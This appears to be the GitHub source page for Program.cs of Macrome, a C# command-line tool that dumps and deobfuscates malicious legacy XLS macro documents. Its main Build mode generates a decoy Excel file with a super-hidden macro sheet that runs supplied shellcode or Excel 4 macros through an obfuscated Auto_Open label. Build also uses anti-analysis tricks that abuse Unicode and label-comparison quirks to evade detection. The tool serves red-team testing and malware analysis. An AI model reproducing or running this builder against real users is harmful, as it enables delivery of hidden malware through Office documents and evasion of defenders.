forked from michaelweber/Macrome
/
Program.cs
354 lines (301 loc) · 15.5 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
using System;
using System.Collections.Generic;
using System.CommandLine;
using System.CommandLine.Builder;
using System.CommandLine.Parsing;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading;
using b2xtranslator.Spreadsheet.XlsFileFormat;
using b2xtranslator.Spreadsheet.XlsFileFormat.Ptg;
using b2xtranslator.Spreadsheet.XlsFileFormat.Records;
using b2xtranslator.StructuredStorage.Reader;
using b2xtranslator.xls.XlsFileFormat;
namespace Macrome
{
public class Program
{
public static string AssemblyDirectory
{
get
{
string codeBase = Assembly.GetExecutingAssembly().CodeBase;
UriBuilder uri = new UriBuilder(codeBase);
string path = Uri.UnescapeDataString(uri.Path);
return Path.GetDirectoryName(path);
}
}
/// <summary>
/// Dumps information about BIFF records that are relevant for analysis. Defaults to sheet, label, and formula data.
/// </summary>
/// <param name="path">Path to the XLS file to dump</param>
/// <param name="dumpAll">Dump all BIFF records, not the most commonly used by maldocs</param>
/// <param name="showAttrInfo">Explicitly display PtgAttr information in Formula strings. Defaults to False.</param>
/// <param name="dumpHexBytes">Dump the byte content of each BIFF record in addition to its content summary. Defaults to False.</param>
public static void Dump(FileInfo path, bool dumpAll = false, bool showAttrInfo = false, bool dumpHexBytes = false)
{
if (path == null)
{
Console.WriteLine("path argument must be specified in Dump mode. Run dump -h for usage instructions.");
return;
}
if (path.Exists == false)
{
Console.WriteLine("path file does not exist.");
return;
}
WorkbookStream wbs = new WorkbookStream(path.FullName);
List<RecordType> relevantTypes = new List<RecordType>()
{
RecordType.BoundSheet8, //Sheet definitions (Defines macro sheets + hides them)
RecordType.Lbl, //Named Cells (Contains Auto_Start)
RecordType.Formula, //The meat of most cell content
RecordType.SupBook, //Contains information for cross-sheet references
RecordType.ExternSheet //Contains the XTI records mapping ixti values to BoundSheet8
};
int numBytesToDump = 0;
if (dumpHexBytes) numBytesToDump = 0x1000;
if (dumpAll)
{
WorkbookStream fullStream = new WorkbookStream(PtgHelper.UpdateGlobalsStreamReferences(wbs.Records));
foreach (var record in fullStream.Records)
{
Console.WriteLine(record.ToHexDumpString(numBytesToDump, showAttrInfo));
}
}
else
{
List<BiffRecord> relevantRecords = wbs.Records.Where(rec => relevantTypes.Contains(rec.Id)).ToList();
relevantRecords = RecordHelper.ConvertToSpecificRecords(relevantRecords);
relevantRecords = PtgHelper.UpdateGlobalsStreamReferences(relevantRecords);
foreach (var record in relevantRecords)
{
string dumpString = "";
dumpString += record.ToHexDumpString(numBytesToDump, showAttrInfo);
Console.WriteLine(dumpString);
}
}
}
/// <summary>
/// Deobfuscate a legacy XLS document to enable simpler analysis.
/// </summary>
/// <param name="path">Path to the XLS file to deobfuscate</param>
/// <param name="neuterFile">Flag to insert a HALT() expression into all Auto_Open start locations. NOT IMPLEMENTED</param>
/// <param name="outputFileName">The output filename used for the generated document. Defaults to deobfuscated.xls</param>
public static void Deobfuscate(FileInfo path, bool neuterFile = false, string outputFileName = "deobfuscated.xls")
{
if (path == null)
{
Console.WriteLine("path argument must be specified in Deobfuscate mode. Run deobfuscate -h for usage instructions.");
return;
}
if (path.Exists == false)
{
Console.WriteLine("path file does not exist.");
return;
}
if (neuterFile)
{
throw new NotImplementedException("XLS Neutering Not Implemented Yet");
}
WorkbookStream wbs = new WorkbookStream(path.FullName);
WorkbookEditor wbEditor = new WorkbookEditor(wbs);
wbEditor.NormalizeAutoOpenLabels();
wbEditor.UnhideSheets();
ExcelDocWriter writer = new ExcelDocWriter();
string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;
Console.WriteLine("Writing deobfuscated document to {0}", outputPath);
writer.WriteDocument(outputPath, wbEditor.WbStream);
}
/// <summary>
/// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
/// </summary>
/// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
/// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
/// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
/// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
/// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
/// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
/// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
/// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
/// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
PayloadType payloadType = PayloadType.Shellcode,
string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc)
{
if (decoyDocument == null || payload == null)
{
Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
return;
}
//Useful for remote debugging
if (debugMode)
{
Console.WriteLine("Waiting for debugger to attach");
while (!Debugger.IsAttached)
{
Thread.Sleep(100);
}
Console.WriteLine("Debugger attached");
}
List<BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();
string decoyDocPath = decoyDocument.FullName;
WorkbookStream wbs = LoadDecoyDocument(decoyDocPath);
List<string> preambleCode = new List<string>();
if (preamble != null)
{
string preambleCodePath = new FileInfo(preamble).FullName;
preambleCode = new List<string>(File.ReadAllLines(preambleCodePath));
}
if (wbs.GetAllRecordsByType<SupBook>().Count > 0)
{
throw new NotImplementedException("Please use a decoy document with no existing Labels.");
}
WorkbookEditor wbe = new WorkbookEditor(wbs);
wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);
List<string> macros = null;
byte[] binaryPayload = null;
byte[] binary64Payload = null;
//TODO make this customizable
int rwStart = 0;
int colStart = 0xA0;
int dstRwStart = 0;
int dstColStart = 0;
int curRw = rwStart;
int curCol = colStart;
switch (payloadType)
{
case PayloadType.Shellcode:
macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
binaryPayload = File.ReadAllBytes(payload.FullName);
if (payload64Bit != null && payload64Bit.Exists)
{
binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
}
break;
case PayloadType.Macro:
macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
break;
default:
throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
"payloadType");
}
if (binaryPayload != null && binaryPayload.Length > 0)
{
wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
if (binary64Payload != null && binary64Payload.Length > 0)
{
wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
}
}
wbe.SetMacroSheetContent(macros, curRw,curCol, dstRwStart, dstColStart, method);
if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
{
ushort charInvocationRw = 0xefff;
ushort charInvocationCol = 0x9f;
wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);
//Abuse a few comparison "features" in Excel
//1. Null bytes are ignored at the beginning and start of a label.
//2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
//3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
//4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
//Using lblIndex 2, since that what var has set for us
wbe.AddFormula(
FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2));
}
wbe.AddLabel("Auto_Open", rwStart, colStart);
wbe.ObfuscateAutoOpen();
ExcelDocWriter writer = new ExcelDocWriter();
string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;
Console.WriteLine("Writing generated document to {0}", outputPath);
writer.WriteDocument(outputPath, wbe.WbStream);
}
/// <summary>
/// Build an obfuscated XLS Macro Document, or Deobfuscate an existing malicious XLS Macro Document.
/// </summary>
/// <param name="args"></param>
public static void Main(string[] args)
{
try
{
Command buildCommand = new Command("b",null);
buildCommand.AddAlias("build");
MethodInfo buildMethodInfo = typeof(Program).GetMethod(nameof(Build));
buildCommand.ConfigureFromMethod(buildMethodInfo);
Command deobfuscateCommand = new Command("d",null);
deobfuscateCommand.AddAlias("deobfuscate");
MethodInfo deobfuscateMethodInfo = typeof(Program).GetMethod(nameof(Deobfuscate));
deobfuscateCommand.ConfigureFromMethod(deobfuscateMethodInfo);
Command dumpCommand = new Command("dump", null);
MethodInfo dumpMethodInfo = typeof(Program).GetMethod(nameof(Dump));
dumpCommand.ConfigureFromMethod(dumpMethodInfo);
RootCommand rootCommand = new RootCommand("Build an obfuscated XLS Macro Document, or Deobfuscate an existing malicious XLS Macro Document.")
{
deobfuscateCommand,
buildCommand,
dumpCommand
};
CommandLineBuilder builder = new CommandLineBuilder(rootCommand);
builder.ConfigureHelpFromXmlComments(buildMethodInfo, null);
//Manually set this after reading the XML for descriptions
builder.Command.Description =
"Build an obfuscated XLS Macro Document or Deobfuscate an existing malicious XLS Macro Document.";
Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
builder
.UseDefaults()
.Build()
.Invoke(args);
}
catch (Exception e)
{
Console.WriteLine("Unexpected Exception Occurred:\n");
Console.WriteLine(e);
}
}
private static WorkbookStream LoadDecoyDocument(string decoyDocPath)
{
using (var fs = new FileStream(decoyDocPath, FileMode.Open))
{
StructuredStorageReader ssr = new StructuredStorageReader(fs);
var wbStream = ssr.GetStream("Workbook");
byte[] wbBytes = new byte[wbStream.Length];
wbStream.Read(wbBytes, 0, wbBytes.Length, 0);
WorkbookStream wbs = new WorkbookStream(wbBytes);
return wbs;
}
}
private static List<BiffRecord> GetDefaultMacroSheetRecords()
{
string defaultMacroPath = AssemblyDirectory + Path.DirectorySeparatorChar + @"default_macro_template.xls";
using (var fs = new FileStream(defaultMacroPath, FileMode.Open))
{
StructuredStorageReader ssr = new StructuredStorageReader(fs);
var wbStream = ssr.GetStream("Workbook");
byte[] wbBytes = new byte[wbStream.Length];
wbStream.Read(wbBytes, 0, wbBytes.Length, 0);
WorkbookStream wbs = new WorkbookStream(wbBytes);
//The last BOF/EOF set is our Macro sheet.
List<BiffRecord> sheetRecords = wbs.GetRecordsForBOFRecord(wbs.GetAllRecordsByType<BOF>().Last());
return sheetRecords;
}
}
}
}